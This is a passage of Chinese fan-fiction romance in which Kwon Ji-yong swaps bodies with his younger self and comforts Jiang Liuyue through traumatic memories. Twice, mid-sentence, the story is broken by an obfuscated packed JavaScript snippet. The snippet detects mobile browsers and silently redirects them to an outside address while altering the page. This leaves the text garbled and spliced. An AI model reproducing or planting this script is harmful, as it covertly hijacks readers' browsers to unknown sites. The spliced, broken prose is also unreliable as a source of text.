乔娜并没有提过自己在中国又结过婚,就连江留月名字的‘江’也从未做出过解释,权志龙认识江 留月的时候,虽然这孩子在狼狈不堪的打工,那也是因为和家里闹别扭从高级公寓离家出走,所 以,他一直以为江留月只是和父母之间有隔阂罢了。 2021年的时候,江留月在中国上了一个访谈类的综艺节目,这个节目很深刻,里面有非常专业的心 理医生以及非常会提供情绪价值的主持人,大家会在一起度过两天的时间,不仅聊事业,也聊童 年,聊家庭,聊社会议题。 江留月难得敞开了心扉,讲了自己的童年和一些故事,讲着讲着,她就沉默了。 在这个过程中,她没有流泪。 直到那个心理专家姐姐走过来直接抱住了她,她才抿着嘴抬起头露出红红的眼睛,然后忽然把脑袋 塞进对方的怀里,呜呜的哭了起来。 权志龙也是在那个时候,才知道她有那么多被泪水淹没的过去。 这个访谈节目反响极大,韩国的粉丝们做了字幕版分享,权志龙经常在睡不着的时候看,屏幕里的江留月看着还是那么的年轻漂亮,都说红气养人,她亦如是,美得就算是素颜穿着节目组买的便宜 睡衣盘腿坐在竹床上,也像是在拍文艺片一样,随手一截就能当画报。 权志龙的家里有个播放厅,他经常在里面看电影,但看的最多的就是江留月的这个访谈,他听着她 说的每一句话的时候,心里翻来覆去的想一件事情。 都说童年的痛苦会刻入人的行为里。 为什么她在他的身边那么多年,他却没能看到她从未痊愈的伤口呢? 进入梦游廊之后,权志龙第一个去的房间,就是最尽头的房间。 他看到了小小的江留月,五六岁的年纪,也许更小,她看起来比同龄人都要小一圈,因为瘦,眼睛 都快占掉脸的一半了,头发乱七八糟的,衣服也脏兮兮的,看到他的时候,像是一直被人踢来踢去 的小狗忽然听到了脚步声一样戒备得绷紧身体,却夹紧无形的小尾巴。 权志龙想要说点什么,做点什么,才一张嘴,却开始无法停止的流泪。 那一瞬间,江留月带给他的冲击,他意识到自己做了多少蠢事的后悔和痛苦几乎吞没了他。 看着年轻的理直气壮的自己,权志龙想,这个家伙也得去看看自己做的蠢事才行。 怎么能对受了那么多苦的小孩子说狠话,发脾气,怎么还忍心让她掉眼泪啊。 即便过着那种人生也会对陌生人露出笑容的小孩,到底要痛到什么程度,才会没完没了的掉眼泪 啊。 自己又为什么能说出‘你的眼泪为什么那么多’这种话啊。 “别吓唬她,礼貌一些,要多笑,中文糟糕的话……就当个哑巴。”权志龙简明扼要的说道:“还 有,你不要哭得太大声了。” 权志龙看到年轻的自己挑起眉一脸疑惑:“我?我为什么要哭。” 权志龙发出一声冷笑,解释无用,不如让‘他’自己去体验一把。 水灌入耳朵的感觉并不好受,屏住呼吸的肺部感受到要爆炸的疼痛,耳鸣和晕眩同时袭来,身体最 终达到极限点的时候,权志龙猛然从水里抬起了头。 他大口大口的喘气,看向镜子里的自己,狼狈的被水弄湿的头发,脸上还不停地流下水痕,锋利的 五官,只有双眼的情绪是柔和中带点恍惚的。 权志龙伸出手,摸了一下镜子。 冰冷的,滑溜溜的。 他终于确认,这种交换身体的方式是可行的。 放松的瞬间,权志龙腿软的直接坐在了地上,衣服也被水打湿了大半,湿漉漉的很难受,他感受着空气涌入肺部,视线逐渐清晰,手指变得灵活,这个身体正在飞速习惯一体同源的灵魂。 他试图呼喊‘自己’,但没有得到回应,想也知道这家伙知道能看到小时候的塔伊,一定是用跑的 过去了。 权志龙坐在地上了一会儿,忽然觉得有些荒谬又无语的笑了一下,好一会儿才骂着‘西八’的站起 来收拾自己。 在之前,他们已经交换了信息,江留月这两天都在公司跟进新专辑的事情,权志龙倒是有“耳朵眼 睛”来汇报这些,所以才能忍了那么久。 权志龙洗了个澡换了身衣服,自己驱车前往公司,他来之前大约的翻阅了一下工作信息,直到下周 就要去日本开家族con,还要参加采访、时尚秀、艺术展……总之留给他处理好这些事情的时间并 不多。 他大概推算了一下自己在梦游廊的时间和现实时间,发现梦游廊的时间要长得多,他先后去了十几 个房间,在里面待得时间不多说也有一周,现实中却只过了两天左右…… 权志龙的车稳稳停在专属车位,他拉下手刹,检查了一下自己的装扮是否得体之后,心情难得有些 愉快的下了车。 希望‘他’能好好享受在梦游廊的时间。 还好,身体交换似乎是需要现实中的身体濒死,和梦游廊中灵魂的状态无关,不然这小子大概很快就哭得脱水崩溃的缩回来了。 尽管同为‘自己’,权志龙也感到了微妙的愉悦。 但这种愉悦很快就消失了。 因为公司里面碰到的大家虽然在问好,但是不知道怎么的,大家的表情都有些微妙,像是在憋笑, 又像是在偷偷打量他。 在电梯里就更夸张了,他瞥见那几个职员憋笑憋到用脚尖互相踩对方。 “……笑什么呢?我很奇怪吗?” 权志龙对着电梯看了一下自己的穿搭,他可是在2014年的衣柜里选的衣服,而且是最基础的T恤外 套+长裤,总不能出错吧!? 职员们疯狂摇头,但笑容怎么都止不住。 权志龙:“……?” 电梯到了三层,职员们一窝蜂都跑了,权志龙很清楚的看到每个人的脸上都是笑容。 所以一定发生了什么吧。 权志龙这么想着,然后迎面碰上了Teddy。 Teddy看到他就哈哈一笑,权志龙上次回来因为一回来就是演唱会倒是没见到他,心里也有诸多感 慨,正要打招呼,Teddy就忽然张嘴对他:“汪汪汪!!!” 权志龙:“……” 所以这个世界是疯了吗? 还是说2014年的自己因为受了过度的刺激直接将《狗吠》这首歌提前做出来公开了? 好在下一秒,Teddy总算解答了他的疑惑:“呀小子,快停止你的ins,你这小子最近发的导致流行都乱套了。” Ins?? 权志龙返回2014年之后是看过自己的手机的,他检查了信息和聊天软件,但却忘记了该死的社媒。 他先假笑着应付了Teddy,然后立刻打开了自己的INS,一看自己的最近发表,简直是眼前一黑的状 态。 虽然不知道发生了什么,但显然年轻的自己处于失控的状态,从昨天开始就疯狂发各种小狗照片, 发完了之后又开始发小狗滤镜的短视频,什么卡通的,什么拟态的,什么吐舌头的…… 粉丝一脸茫然的在下面问道:哥哥想家虎了吗? 权志龙看到了自己的回复:不,是家虎想主人了。 ? 什么跟什么啊!?! 权志龙深吸一口气,他非常确定以及肯定,‘他’绝对没有跟自己交代这些事情。 而且人在梦游廊房间的时候,是无法通感到外面发生的一切的。 这家伙到底在干嘛,又为什么要这样做啊! 果然,人甚至无法共情过去的自己。 权志龙一边疯狂删,一边走到了录音室的附近,明明不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江留月坐在转椅上,看她哥低着头不说话,活像是个犯错的学生一样规规矩矩的站着。 确实难得,往常他们吵架,权志龙最多能忍半天,但凡过了一晚上还在冷战,这个哥必然开始作 妖,不是去夜店喝酒就是要假装生病,要不然就开车堵在她家楼下,可怜兮兮的发上百八十条短 信。 这次是真的忍住了,就连短信都忍住了,虽然没忍住发了一些ins,但也忍住了情感宣泄,没有搞 那些疼痛文学。 江留月抬起手拽住了他脖子上作为装饰的长领带,也就是她哥能想,长领带搭配T恤,别有一番雅 痞,只是此刻脸都涨红却还憋着气的样子,又透出孩子气来。 权志龙猝不及防的被拽的弯下腰去,只感到一只凉凉的小手抚摸上他的脸庞,然后嘴唇上传来湿润 的触感。 他猛然睁开眼睛,不可置信的看到江留月那浓密的睫毛在微微抖动。 她的声音又甜又软,黏糊糊的说着: “小狗做得真好,我来奖励你吧。” 权志龙脑子都晕了,他的脑子处理不了这种东西,晕晕乎乎的被亲,因为被亲也老老实实的,更让 江留月稀罕了。 江留月坐着碍事,索性站起来靠在桌子上,两条胳膊缠上他的脖子,又亲了亲他。 “好乖哦,哥哥。” ……什么倒反天罡。 权志龙整个人都僵住了。 他面前的真的是他从十四岁开始一手养大的小孩吗?她现在也就二十三四岁,他面对如此年轻生动 的脸庞的时候,常生出局促的羞耻,这会儿,反而被摸着脸和喉结亲吻,还要夸奖他是个乖孩子? 这种颠覆的错位和随之涌上来的强烈的背德感让权志龙脊梁骨都窜过一阵酥麻。 这个世界疯了吧。 权志龙冷不丁抖了一下,他的喉结被亲了一口。 江留月咂咂嘴,樱桃一样红润花瓣一样柔嫩的嘴唇上还有一点亮晶晶的唾液,她像是喝醉酒的小猫 咪一样抿着嘴巴笑,又甜又软的像是威士忌里浸泡的水果软糖。 “怎么了,哥哥,你不喜欢吗?” 她的声音简直是塞壬的歌声。 权志龙脑子都不清醒了,脑子没反应过来之前,脑袋先点头,然后几乎是趋于本能的搂着怀里的人吻了上去。 唇齿交接,他还有些许犹豫,但江留月用舌尖碰了碰他的舌头,他的脑子就不清醒了。 “喜欢。” 他含混的说着,呼吸急促的迫不及待的回应着她。 “好喜欢你。” “好爱你。” 权志龙把已经被亲得浑身瘫软的人压在桌子上,江留月眼看他要失控,立刻揪住了他的耳朵想要拉 开距离。 权志龙勉强松开她被啃咬得通红的嘴唇,用已经被欲念侵染的嘶哑的嗓子叫她的名字,江留月手忙 脚乱的阻止他的耳语,斥责着他的得寸进尺,就差没有大喊不许不听话了。 权志龙轻笑了一下,贴在她已经滚烫的耳边,轻轻地吹了一口气,然后压低嗓子,很小声的叫了一 声:“汪。” 这下江留月彻底炸毛了,她的脑子里拉起了警报,人立刻是反射性就想跑,却被大手一搂就拽进了怀里,权志龙的怀抱带着浓烈的香气和热度,她哆嗦了一下,然后感到大手放在她的后背,安抚的抚摸着。 她震撼的看向权志龙,很显然被他能自控这件事情惊呆了。 权志龙看她的小表情就知道她在想什么,他差点没忍住笑出来,即便努力压制,依然声音里带着浓 浓的笑意:“怎么了,小狗不是就要听话吗?” 他用修长的手指勾了一下江留月的下巴,声音里带着点漫不经心的调笑和上扬的鼻音: “是不是,小狗?” 59.让我听见你的声音 59.让我听见你的声音 2008年的时候,权志龙曾经参加了一档叫做《change》的节目,这个综艺主打一个暗访类真人秀,特效化妆师们用高超的技术将艺人们改头换面,然后艺人们会按照综艺给的“新身份”来参与到自己的亲友中的谈话中,见证他们如何在他人面前评价自己。 这个综艺有两个卖点,一个卖点在于看这些亲友什么时候能发现艺人的真实身份,一个卖点就在于 本人不在场的时候,往往亲友们会说出一些出人意料的话,每一期都会引发不错的讨论度。 权志龙只是出于好玩参加的,没想到过程那么遭罪,光是在他的身上贴硅胶就花了两三个小时,待 到变身成为四十多岁大腹便便的秃头中年男人的时候,他已经深感疲惫,看着镜子里的自己,更是 觉得荒唐。 镜子里‘自己’比实际上的权志龙要胖至少三十公斤,有着松垮的脸、粗壮的手臂以及圆滚滚凸出的肚子,再穿上中年男人的土气打扮,权志龙自己都有点恍惚是不是在做噩梦。 按照剧本的要求,他要移动到公司附近的咖啡厅,那里搭建了一个摄影棚,今天他要扮演一个因为 女儿过度沉迷G-dragon而向Bigbang求助的父亲。 光是想到接下来发生的事情,权志龙就特别想笑,他在工作人员的帮助下有些笨拙的进入电梯,尚 且不太能习惯这具身体。 路过的工作人员也好,贴身相处的cody姐姐们也好,甚至在走廊上碰到了他十几岁就待在身边的 Perry,也完全无人认出,甚至不曾将目光停留在他的身上。 变故就出现在电梯即将合拢的时候,江留月当时的经纪人带着她急匆匆的跑了过来一起挤进了电 梯。 因为不知道对方是什么身份,两方人马见面的时候还互相问候了一番,权志龙强忍着笑意别开脸, 生怕自己笑场。 然后,就在这个时候,江留月忽然歪着头看向了他,她扎了个当时非常流行的歪马尾,脑袋歪过来的时候,发尾一晃一晃的,权志龙没忍住瞥了一眼。 两个人眼神对上的一瞬间,江留月忽然来了一句: “哥哥。” 电梯里的兵荒马乱可想而知,信心满满的特效化妆师们几乎是惊慌失措,他们不敢相信辛苦了几个 小时的工作竟然被一眼看穿,可能因为太不敢相信了,所以大家甚至都木在那里,没有反应过来。 江留月却更凑近了一些,权志龙看到她瞳孔里自己的倒影,简直奇形怪状,不忍目睹。 但江留月却很认真的看着他,伸出软乎乎的小手扯了扯权志龙的衣角,露出好奇的眼神:“这是什 么呀,志龙哥。” 特效化妆师们的自尊心在这一刻崩塌。 好在江留月经纪人的惊恐和荒谬又挽救了他们。 一群人在出了电梯之后的大厅里围着江留月问是怎么认出来的,权志龙自己也觉得很神奇,一边伸 手摸她的头发一边问她怎么做到的。 “……这不是一看就知道吗?” 江留月反而觉得他们很荒唐:“是志龙哥啊。” 众人沉默:不,除了你谁能认得出来啊!!! 这件事情完全无解,因为事实证明,权志龙的变装很成功,就连他录制节目的时候忍不住笑出声又 忘记压低声音暴露了真实声音,成员们都不太能相信眼前的人是他,直到撕下头套的时候,还觉得 起了一身的鸡皮疙瘩。 权志龙卸妆的时候江留月拍完杂志回来了,她兴致勃勃的跑过来研究权志龙脖子上那些柔软的硅 胶,权志龙也很好奇,追问她怎么认出来的。 “眼睛啊。” 江留月伸出手摸了摸权志龙的睫毛。 她的手指尖距离权志龙的眼珠子很近,但权志龙没有躲闪,反而立刻快速眨眼用眼睫毛去挠她的指 尖,逗得她咯咯直笑。 “志龙哥的眼睛,我一看就知道了,不管什么时候,我都能认出来的。” 江留月颇有些自豪的说道。 “少撒谎了,我们都没对上眼睛,你这孩子现在也会撒谎了。” 权志龙并不相信,两个人在电梯里中间还隔着人,只是匆匆一眼,哪有可能就从眼睛认出来。 “反正就是眼睛,我当时感觉是哥,然后一看眼睛就确认了。” 江留月很不服气: “这有什么难得,我说了能认出来就是能认出来。” 她果然是说到做到。 权志龙12年回归的时候准备做个巨大的玩偶熊穿进去跟粉丝互动,当时玩具熊衣服送到公司之后, 他突发奇想穿上去逗弄公司里别的人,结果也是在和伴舞姐姐们玩闹的时候忽然被揪住了熊脖子上 的金链子。 “志龙哥,你不热吗?” 没看到眼睛,但从熊的姿势和小动作认出自己男朋友的江留月问道。 他们的确是太了解彼此了。 从相貌到动作,从眼神到说话的语调,甚至没有接触的时候,只是一种奇妙的感觉。 江留月总是能认出她哥。 “……志龙哥?” 在那个手指,轻轻地勾了一下她的下巴之后,她看到了那双淡色的瞳孔里熟悉的笑意,这种游刃有 余的松弛与带着点戏谑的口吻,让她几乎是下意识的叫了一声。 啊。 她在说什么呢。 对方当然是权志龙,是‘志龙哥’,为什么会忽然之间像是才认出来一样,感到惊讶呢? 权志龙的手指抚摸上她的脸颊,鼻子里嗯了一声当做对她的回答。 一种莫名但极为强烈的感觉卷上了江留月的身体,她用双手捧住了权志龙的脸,脑子里轰隆隆的像 是有什么东西在碾过。 “志龙哥。” 江留月又念了一次。 “怎么了,塔伊?” 权志龙意识到了什么,将她扯到了自己的怀里,他们之间的距离变得很近很近,几乎鼻尖贴着鼻 尖,江留月能感觉到他在耐心的等待她的回应,然后,她几乎是莫名其妙的,脱口而出了一句话: “你没有骗我。” 这没头没尾的一句话显然让权志龙都有点吃惊,他先是“嗯?”了一声表示疑惑,然后挑了挑眉: “你这孩子说什么呢?” 江留月也跟着愣了一下,她不知道自己怎么说出的这句话,也用有些疑惑的双眼看着权志龙,看了 一会儿,她忽然就福至心灵: “你……是‘那个’志龙哥,是吗?” 这两天江留月一边在忙专辑工作一边在梳理自己这几天的经历,她发现自己的记忆发生了极大的空 缺,而面对权志龙的混乱,又不完全是因为她严重的‘幻视’导致的。 事实上,自从她回到了2014年,就再也没有‘幻视’过了。 可能是因为身边有一个真正存在的权志龙陪着她,也可能是因为她骤然面对需要重新开启的事业版 图所以忙忙碌碌,总之,曾经出现在她的幻想中,陪伴着她的那个权志龙,没有再出现了。 即便有着一样的脸,一样的表情,一样的声音,江留月也能区分开2014年的权志龙和自己幻想中的 权志龙。 那个人更温柔,更平和,更耐心,从来不生气也不发脾气,顶多被她气到无语的捏她的脸颊,实在是无可奈何的时候,用手指勾一下她的下巴。 他叫她塔伊,叫她小孩,叫她乖乖,有时候也叫她小狗,说她不听话又捣乱,要被他狠狠亲一口。 他淡色的瞳孔里总是满溢着深不见底的温柔和纵容,带着一点点令人屏息和胸口发烫的直白爱意。 ……就像是眼前这个人一样。 “哥哥?” 江留月凑上去,用鼻尖蹭了蹭对方,湿漉漉的眼睛像是一只被丢弃很久很久的小狗终于找到了主人 一样。 会是梦吗? 可是能触碰到,手指的温度、身上的香味、平稳的呼吸和心跳,江留月试探着用手抚摸权志龙的 脸,然后自己凑上去和他贴贴。 她像是一只软绵绵的小动物,用脸颊和权志龙贴着脸颊,手勾着他的脖子,呼吸都是急促破碎的。 “乖乖。” 权志龙几乎也是下意识的,吐出了两个字的中文。 在听到这个称呼的瞬间,江留月的头像是被什么重重的敲了一下,尖锐的耳鸣像是刀尖刺入她的耳 膜,过于激烈的心跳和从心口翻涌的呕吐感逼得她整个人都抽搐了起来,她捂着耳朵发出尖锐的叫 喊。 无数碎片在她的脑海里炸裂,纷纷乱乱的落在她的面前。 像是许多,许多,许多的雪花,骤然降下,吞没她的人生。 她混乱的尖叫起来,整个人都在发抖抽搐,手指抓着自己的耳朵和头发,权志龙被她吓得魂飞魄 散,立刻双手抓住她的手腕不许她伤害自己,将人用力的拉进自己的怀里,不停的重复叫着她的名 字。 “塔伊、塔伊……塔伊……冷静点,冷静点,塔伊,我在这,哥哥在这。” 江留月听不见,她耳朵里是无数声音嘈杂在一起的耳鸣,她已经听不见任何外界的声音了。 她眼前出现的景象,陌生又熟悉,眼前的权志龙,被撕碎又被重组。 【那是假的,是假的,是假的。】 【是你的幻觉,明月。】 【权志龙现在正在韩国,他怎么会出现在你身边呢。】 【现在是特殊时期,没有人可以出入境,你在北京,他在首尔,他要怎么出现在你的身边呢?】 【你病了。】 【你病了,明月。】 是,是的,她病了,她病了,她病了,她病了…… 权志龙明明在首尔在东京在巴黎在米兰,她在北京在上海在横店在海南,权志龙怎么会出现在她的 病房,她的卧室,她的沙发上,她的右手边? 是她病了。 她生病了,她不对劲儿,所以她才会出现这种真实的可怕的幻觉。 【权志龙那样对你,怎么会还爱你呢。】 【他已经交了新的女朋友,早就开始新的人生了。】 【明月,你得赶紧忘掉这个坏男人,你一直记着他,是对自己的不负责任,是对自己的践踏,你忘 记因为他流的眼泪受的委屈了吗?】 【权志龙有什么好,是你的幻想让他看起来像个好人。】 【忘记他吧。】 【忘记他吧。】 【忘记他吧。】 江留月剧烈的喘息着,一股股说不出的情绪在向上翻涌,她捂着嘴在干呕,却除了水什么都吐不出 来,她一边喘一边浑身发抖,头痛得快要炸开,手脚都有些痉挛了。 眼泪止不住的从她的眼眶里涌出来,她眼前发花,什么都看不清,白茫茫一片,怎么会有那么多的 雪呢。 好冷好冷好冷。 好痛好痛好痛。 车子碰撞后散发出机油的刺鼻臭味,破碎的车窗涌入进来的凛冽的风和雪花,她似乎在迅速失温, 想要呼救的声音几乎是还没张口就被打散。 ……她要去哪里? 她现在又在哪里? “啊……啊啊……呜……” 江留月吐不出东西,只是用力的蜷着自己的身体,试图去对抗什么,她也不知道,她只是觉得害怕 和恐惧。 这样激烈的恐惧发作,权志龙已经很有经验了。 他在经历最初的愕然之后,立刻反应了过来,脱下自己的外套将她整个裹住,把江留月的视线都挡 住,然后把蜷缩成一团的小孩搂在自己的怀里,用手调整好她的姿势,让她的手搂着自己的脖子, 脸埋在胸口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149590|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿跨坐在自己的大腿上。 江留月像是一只被人虐打过的猫一样瑟瑟发抖,发出近乎凄厉的哀鸣,即便被抱在怀里,也在不住 的打着哆嗦。 权志龙身上温热的气息混杂淡淡的烟草味和他惯用的香水味,她被剥夺的视线里只有一片漆黑,因 此手指抚触到他脖子上跳动的脉搏,脸颊感受到的胸口的震动,像是一只只温柔的手,将她从恐惧的深海中打捞上来。 “妈妈,妈妈,妈妈。” 江留月终于找到了自己的声音,她哆嗦着用细弱的声音叫着,趴在权志龙的胸口抖,胳膊将他的脖 子抱得死紧。 出于人的本能,在感到疼痛、恐惧、绝望的时候,她使出最后呼救的力气喊着妈妈。 权志龙长长的睫毛微微颤抖了一下。 他的嘴唇微微颤抖。 即便在梦游廊里,他已经出入那些房间无数次,见过江留月漫长的人生中,无数次绝望的呼救,已经用自己的双手无数次紧紧地抱着她捱过这些时刻。 他依然止不住的心碎。 怎么办啊,神。 怎么办啊,妈妈。 我要怎么做才能救她。 我要怎么从她破碎的童年里牵住她的手,我要怎么让饥饿的她吃饱饭,在门口冻得半死瑟瑟发抖的 小孩,我要怎么用我的衣服裹住她,被讥讽嘲笑被冤枉污蔑的时候,我要怎么将她抱起来远离那些 恶狗呢。 “妈妈,妈妈我痛,我耳朵痛,我肚子痛。” 江留月混乱的发出呜咽。 然后,一双温热的手捂住了她的耳朵,轻轻地揉着,疼痛和耳鸣在快速褪去,她能感觉到自己变成 幼童的样子,被大人有力地手臂抱了起来,她被揣在怀里,像每一个被父母珍爱的孩子那样。 “妈妈,妈妈,妈妈。” 江留月呜呜嘤嘤的叫着。 权志龙轻轻地吐出一口气,平缓自己的语气,他的声音向来很细,很温柔,很甜蜜,‘甜蜜的男中 音’? 不,不是。 在无数次穿梭在梦游廊的旅行中,他已经习惯了使用另一种身份,他用有些蹩脚的中文,尽量吐字 清晰的回应着怀里的人: “妈妈在这。” “明月,妈妈在这。” 权志龙将怀里的人往上抱了抱,腾出一只手去抹她的眼泪,他靠在躺椅上,用外套裹着的江留月就 是他的小孩,她趴在他的胸口,情绪逐渐平稳了下来。 权志龙抚摸着她柔软的头发,被泪水打湿的睫毛,然后是已经被汗水打湿的后背,他叹了口气,转 身在桌子上艰难的够到了纸巾,抽出来为她仔细的擦拭。 他自言自语的说:“这一身汗……感冒了怎么办呢,塔伊。” 他此时已经换回了韩语,说完了就下意识的闭嘴,生怕惊扰江留月刚平复的情绪。 江留月却从外套里钻了出来,被汗水和泪水打湿的小脸红扑扑的,眼睛还没什么焦点,她呆呆地看着他,然后软乎乎的叫了一声: “妈妈。” 权志龙微微挑眉,习惯性的应了。 一双小手却抚摸他的脸,从下巴到嘴唇,然后是鼻梁、眼睛、睫毛、眉毛。 江留月摸完了,又缩回他的外套里,趴在他的心口,很小声的叫:“哥哥。” 权志龙又嗯了一声,将她的手臂又放回外套,把她整个拢到自己的怀里,然后长长的叹了口气。 他不知道怎么,想起来江留月第一次叫他妈妈的场景。 那时间,已经早的快要无法追溯了。 甚至在他们出道之前的事情了。 应该是江留月病了,他一边骂她,一边给她冲感冒药,江留月不肯喝,权志龙当时哪有那么多 耐心,捏着她的鼻子就灌,结果泼了她一身。 但凡练习生里有个女性,权志龙就想拔腿走人了,但偏偏,只有他倒霉的在休息日还留在首尔,并 意外在练习室里捡到一个高烧还要跑出来练习的笨蛋。 权志龙只能找了个T恤短裤给她换,然后将脏衣服都丢到洗衣机里去,才丢进去,又觉得不妥,捞 出来骂骂咧咧的找了个盆,胡乱揉了两下作数。 练习生宿舍并不大,江留月躺在客厅的沙发上,旁边就是晾衣服的架子,权志龙拧干了水抖着衣服 往架子上挂,嘴里还在骂人,就听见江留月迷迷糊糊的叫了一句什么。 他凑过去想听清楚,对方却拽住了他的衣角,含含糊糊的叫: “妈妈。” 权志龙:“……” 权志龙暴跳如雷,大骂对方神经病,然后啪的打掉了她的手。 “酱得利,你脑子真的有问题吗?我是男的啊,男的!!!别对着什么人都叫妈行吗?真要叫,你 对着永裴叫啊!” 他咆哮完了,江留月那边也晕乎乎的快要失去意识了。 一拳打在棉花上的权志龙无语望苍天,只好认命的找了个宽大外套给江留月披上,然后艰难的将她 背起来去医院。 江留月的手臂搂着他的脖子,脸贴着他的脸颊。 “……妈妈,我痛。” 江留月都烧迷糊了,凭借着本能用中文叫疼,权志龙大约能听懂,心里又多了一些不忍,他认命的 叹了口气,对着背上的人说道: “呀,是哥在拿命送你去医院啊,别叫妈妈了,叫声哥哥来听。” 江留月不知听没听到,只是搂着他脖子的手又紧了一些,滚烫的脸颊贴着他的,眼泪也是烫烫的, 顺着两个人贴着的脸颊滑落到权志龙的脖颈。 “算了。” 权志龙叹了口气。 他真觉得自己可能上辈子欠了她很多钱,才会这么倒霉。 “随你吧,喊爸爸妈妈哥哥姐姐都行,总之,我都会答应的。” “……这样会没那么痛吗,塔伊?” 60.一天一天(上) 60.一天一天 (上) 从2005年的春日相遇,到2014年的今朝,权志龙看着江留月从一个韩语都说不流畅的14岁少女成长为独当一面的当红艺人,她的韩语、声乐、跳舞、制作,在娱乐圈的社交和人际往来,都几乎是他引领着迈出了第一步。 他因此一直觉得,自己对这个孩子了如指掌。 但,也总有许多时刻,他会觉得,自己看不懂江留月。 他看不懂她随手写在便签上又烧掉的中文,他看不懂她有时候目光放空时脸上抹不掉的阴郁,他看 不懂她有时候想要说什么又闭上的嘴,他看不懂她在面对两个人未来时带着期盼又满是犹豫的踌 躇。 “……等哥哥从军队回来,我们就结婚好吗?” 2013年,权志龙结束了自己大获全胜的solo专辑宣传和世界巡回演唱会,他终于有时间可以抱着江 留月躺在刚装修好的新居里,在柔软舒适的大床上一边揉着她的耳垂一边轻声的向她征询关于未来的计划。 韩国男子自18岁之后即可服兵役,25岁就要申请延迟了,权志龙12年开始就接到了兵役通知,因为 艺人活动申请了延期。 现在团队活动和个人SOLO都暂且告一段落,这个时候趁着年轻赶紧去把兵役服了,两年后回来也不 过28岁,不管是转幕后还是重新回到舞台,都正是能打的年纪。 事实上,历经11年风波和连续两年的超强度通告之后,权志龙的内心变得十分渴望稳定的家庭生活 给予精神上的安抚和承托,这两年韩国又十分流行婚后、带娃综艺,他看着那些活泼可爱的小孩, 难免陷入甜蜜的幻想。 江留月本来陷在他怀里困得都要睡着了,听到他说这话,勉强抬起眼皮看了他一眼,没说好也没说 不好的又闭上眼。 这两年权志龙的行程太高压了,精神上非常脆弱,经常对着她胡言乱语要结婚要隐退不想干了这种 话,她已经见怪不怪了。 没想到今天权志龙却没有放弃的意思,他将她硬是抱起来强迫江留月睁眼面对,手捏着她的后脖颈 揉着,声音也很认真:“塔伊啊,哥真心跟你说话呢。” 江留月烦得要命,勉强睁开眼睛看向他,嘟囔道:“那就从军队回来再说吧,哥。” 她敷衍的态度让权志龙很不高兴,为了表明自己的认真,他把怀里的人又晃了晃:“塔伊啊,别睡 啊,哥哥是真心的,我们结婚吧,然后我们生两三个小孩,就那么幸福的生活吧。” 江留月:“……” 她其实已经开始烦躁了,强忍着脾气对权志龙说道:“我不是说了,等哥从军队回来再说吗?” “你为什么一点也不期待啊。” 江留月深吸一口气:“……期待的,哥,拜托了,让我睡吧,你知道现在几点了吗?” 权志龙有点心虚的咽了口口水,将她赶紧又塞回被子里,然后将人包在怀里一边哄一边自己开始了 幻想:“我无条件想要个女儿,塔伊,我们生个女儿吧。” 怀里的人没有说话,权志龙以为她确实困得睡着了但无所谓,他自己光是碎碎念和幻想就觉得很幸 福了,他忍不住亲了亲江留月的头发,充满期待的说道:“她一定会很像你,一定会很可爱很漂 亮,我会很爱她的,塔伊,我会让她变成世界上最幸福的小女孩,我会做个很好很好的爸爸的。” “……哥。” 本来窝在权志龙怀里的江留月转过身子,她的眼睛里已经睡意全无。 她看着权志龙,声音忽然变得很冷静很严肃的说道:“养个孩子不是那么容易的事儿,哥你的幻 想……可能会变得很难。” “……啊?” 权志龙冷不丁被打断,有些莫名的看着江留月。 “……不是,我不是这个意思。” 江留月犹豫了一下:“如果那个小孩子不漂亮也不可爱怎么办呢,你也会爱她吗?” “你和我的小孩子怎么会不漂亮不可爱啊。” 权志龙啼笑皆非,忍不住去亲她的小脸:“看看我家孩子那么漂亮。” 他的声音里还带着浓重的笑意,为江留月可爱的想法感到心软。 “……那要是,就是不爱,怎么办呢。” “爱不是很奇怪的东西吗?” “也可能很漂亮很可爱,也不爱啊。” 眼见她越说越离谱,权志龙终于忍不住了,他咬了一口她的鼻尖作为她胡思乱想的惩罚:“我怎么 会不爱你,不爱小孩子呢?你对哥哥没有自信吗?” 江留月下意识的摇了摇头,然后,她脸上出现了让他看不懂的表情,她似乎还想说什么,但最后什 么都没说,只是重新窝进了被窝,然后闭上了眼睛。 她似乎发出一声很淡的叹息。 权志龙心里莫名的有些难受,他将怀里的人抱紧,以为是自己没有给她足够的安全感,于是很小声 的说道:“我会很努力的学着当个好爸爸和好丈夫的,塔伊。” 这次他听到了。 江留月确实,发出了一声叹息。 权志龙记得自己当时感觉到有些莫名其妙又觉得有些委屈,缠着她亲吻她问她为什么要叹气是不是 不喜欢自己,江留月看起来心不在焉,她的眼神一直不肯和他对上,最后实在是被缠的没有办法, 她选择搂着权志龙的脖子亲吻他。 心上人投怀送抱,权志龙哪里忍得住,一头扎进了温柔乡,待到醒来之后,再去想,也只会觉得江 留月依然还太过年轻,不想被婚姻孩子过早束缚,可能对这种话题感到了负担,于是也不敢再多提 了。 后来,权志龙的工作陆续又开始排满,兵役显然成了不太现实的话题,兵役之后的婚姻生活这种话 题自然也淡出了他们两个人之间的生活。 如今权志龙又想起来了。 【养个孩子不是那么容易的事儿。】 【要是很可爱,很漂亮,也得不到爱,那要怎么办呢。】 江留月看向他的时候,脸上的表情,他也终于在此刻读懂。 也幸亏此刻的他是个灵魂一样的存在,才会在情绪如此剧烈的崩溃和漫长的哭泣之后,依然没有因 为呼吸碱中毒或脱水而晕倒,只是一个劲儿的哽咽。 他的面前,站着一个脏兮兮的小孩,她说自己六岁了,可看起来也就三四岁的样子,又瘦又小,身 上的衣服也是脏兮兮的,手心也是脏兮兮的,只有她手心里递过来的小手帕是干净的。 她歪着头,乱七八糟的头发被风吹着,像是一朵很小很小的蒲公英。 